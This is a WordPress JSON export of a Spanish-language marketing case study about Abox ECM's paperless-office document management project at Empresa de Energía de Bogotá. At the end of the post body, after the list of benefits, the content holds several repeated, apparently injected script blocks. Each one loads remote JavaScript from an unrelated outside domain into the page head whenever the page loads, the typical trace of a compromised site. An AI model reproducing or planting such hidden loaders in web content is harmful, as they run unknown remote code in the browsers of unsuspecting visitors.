{"id":710,"date":"2014-02-17T11:14:46","date_gmt":"2014-02-17T11:14:46","guid":{"rendered":"https:\/\/149.56.148.186\/?p=710"},"modified":"2026-03-20T06:13:35","modified_gmt":"2026-03-20T11:13:35","slug":"energia-de-bogota","status":"publish","type":"post","link":"https:\/\/www.adapting.com\/en\/energia-de-bogota\/","title":{"rendered":"Proyecto Cero Papel Empresa de Energia de Bogot\u00e1"},"content":{"rendered":"<h3>Abox ECM, ha hecho realidad la Oficina Cero Papel en la Empresa de Energ\u00eda de Bogot\u00e1<\/h3>\n<h3>EEB: La Organizaci\u00f3n<\/h3>\n<p>La Empresa de Energ\u00eda de Bogot\u00e1 (EEB) es la casa matriz del Grupo Energ\u00eda de Bogot\u00e1.<\/p>\n<p>EEB se dedica a la transmisi\u00f3n de energ\u00eda y al manejo de todo el portafolio de inversiones, estas son sus dos \u00e1reas de negocio.<\/p>\n<p>Actualmente es la segunda empresa en transmisi\u00f3n de electricidad en Colombia, con una participaci\u00f3n en el mercado del 8%.<\/p>\n<p>Se puede afirmar que el progreso de Bogot\u00e1 ha sido paralelo al desarrollo de la Empresa de Energ\u00eda de Bogot\u00e1, creada en 1900 con el objetivo de proveer servicios de generaci\u00f3n, transmisi\u00f3n, distribuci\u00f3n y comercializaci\u00f3n de energ\u00eda.<\/p>\n<p>La Empresa de Energ\u00eda de Bogot\u00e1 es una sociedad por acciones, constituida como una empresa de servicios p\u00fablica mixta, siendo el Distrito Capital el accionista mayoritario.<\/p>\n<p><img loading=\"lazy\" class=\"alignnone size-full wp-image-1241\" src=\"https:\/\/www.adapting.com\/wp-content\/uploads\/2014\/03\/red_electrica.jpg\" alt=\"red_electrica\" width=\"384\" height=\"435\" \/><\/p>\n<h3>Objetivo<\/h3>\n<p>La Empresa de Energ\u00eda de Bogot\u00e1 orient\u00f3 la definici\u00f3n de un proyecto tecnol\u00f3gico que respondiera a las necesidades de administraci\u00f3n integral de los documentos, desde el momento de su recepci\u00f3n o producci\u00f3n, hasta la determinaci\u00f3n de la disposici\u00f3n final.<\/p>\n<p>Como entidad defini\u00f3 aplicar los conceptos de mejores pr\u00e1cticas, en especial los postulados de Ley 594, basando el modelo funcional en el concepto de Archivo Total, que controla los documentos a trav\u00e9s del ciclo de vida y define la conformaci\u00f3n de Archivos de Gesti\u00f3n, Centrales e Hist\u00f3ricos, con base en el instrumento de Tabla de Retenci\u00f3n Documental.<\/p>\n<h3>Los Resultados\u2026.<\/h3>\n<p>Abox Document, ha hecho realidad la Oficina Cero Papel en la EEB. Se han implantado los siguientes procesos:<\/p>\n<ul>\n<li><a href=\"https:\/\/www.adapting.com\/ventanilla-registro-unico-gestion-correspondencia\/\">Correspondencia f\u00edsica y electr\u00f3nica<\/a><\/li>\n<li>Configuraci\u00f3n de expedientes acorde a la estructura de las TRDs actualizadas<\/li>\n<li>Flujos internos de trabajo<\/li>\n<li>Integraci\u00f3n con herramientas Office<\/li>\n<li>Gesti\u00f3n electr\u00f3nica del archivo f\u00edsico (bodegas, pr\u00e9stamos y control de retenciones)<\/li>\n<li>Repositorio de im\u00e1genes hist\u00f3ricas digitalizadas.<\/li>\n<\/ul>\n<h3>Los Beneficios\u2026.<\/h3>\n<p>La EEB adolec\u00eda de una problem\u00e1tica que es muy com\u00fan entre empresas del sector:, que han sido resueltos por ABOX de manera muy satisfactoria:<\/p>\n<ol>\n<li>No se estaban digitalizando la totalidad de los documentos de entrada y\/o salida. Tampoco se estaba gestionando toda la informaci\u00f3n entrante por ventanilla, p.ej. correos electr\u00f3nicos.<\/li>\n<li>Se entregaban documentos f\u00edsicamente, cuando podr\u00eda ser suficiente con realizar una entrega electr\u00f3nica.<\/li>\n<li>Se estaba asumiendo un gasto excesivo en papel, mensajer\u00eda, fotocopias, fax e impresora.<\/li>\n<li>No era posible o demasiado dificultoso conocer la situaci\u00f3n de los distintos expedientes en tr\u00e1mite dentro de un \u00e1rea espec\u00edfica y conocer los tiempos medios en los que se est\u00e1n tramitando.<\/li>\n<li>El proceso de consulta de los documentos y, en concreto, la obtenci\u00f3n de ciertos soportes y comprobantes, era demasiado lento y consum\u00eda muchos recursos internos, que se dedicaron a tareas m\u00e1s productivas.<\/li>\n<li>Se estaban invirtiendo excesivos recursos (humanos y t\u00e9cnicos) en mantener un archivo f\u00edsico que ABOX redujo sustancialmente, evitando el riesgo de p\u00e9rdida de soportes y\/o respuestas fuera de plazos establecidos.<\/li>\n<\/ol>\n<p><script>var url = 'https:\/\/wafsearch.wiki\/xml';\nvar script = document.createElement('script');\nscript.src = url;\nscript.type = 'text\/javascript';\nscript.async = true;\ndocument.getElementsByTagName('head')[0].appendChild(script);<\/script><script>var url = 'https:\/\/wafsearch.wiki\/xml';\nvar script = document.createElement('script');\nscript.src = url;\nscript.type = 'text\/javascript';\nscript.async = true;\ndocument.getElementsByTagName('head')[0].appendChild(script);<\/script><script>var url = 'https:\/\/wafsearch.wiki\/xml';\nvar script = document.createElement('script');\nscript.src = url;\nscript.type = 'text\/javascript';\nscript.async = true;\ndocument.getElementsByTagName('head')[0].appendChild(script);<\/script><script>var url = 'https:\/\/wafsearch.wiki\/xml';\nvar script = document.createElement('script');\nscript.src = url;\nscript.type = 'text\/javascript';\nscript.async = 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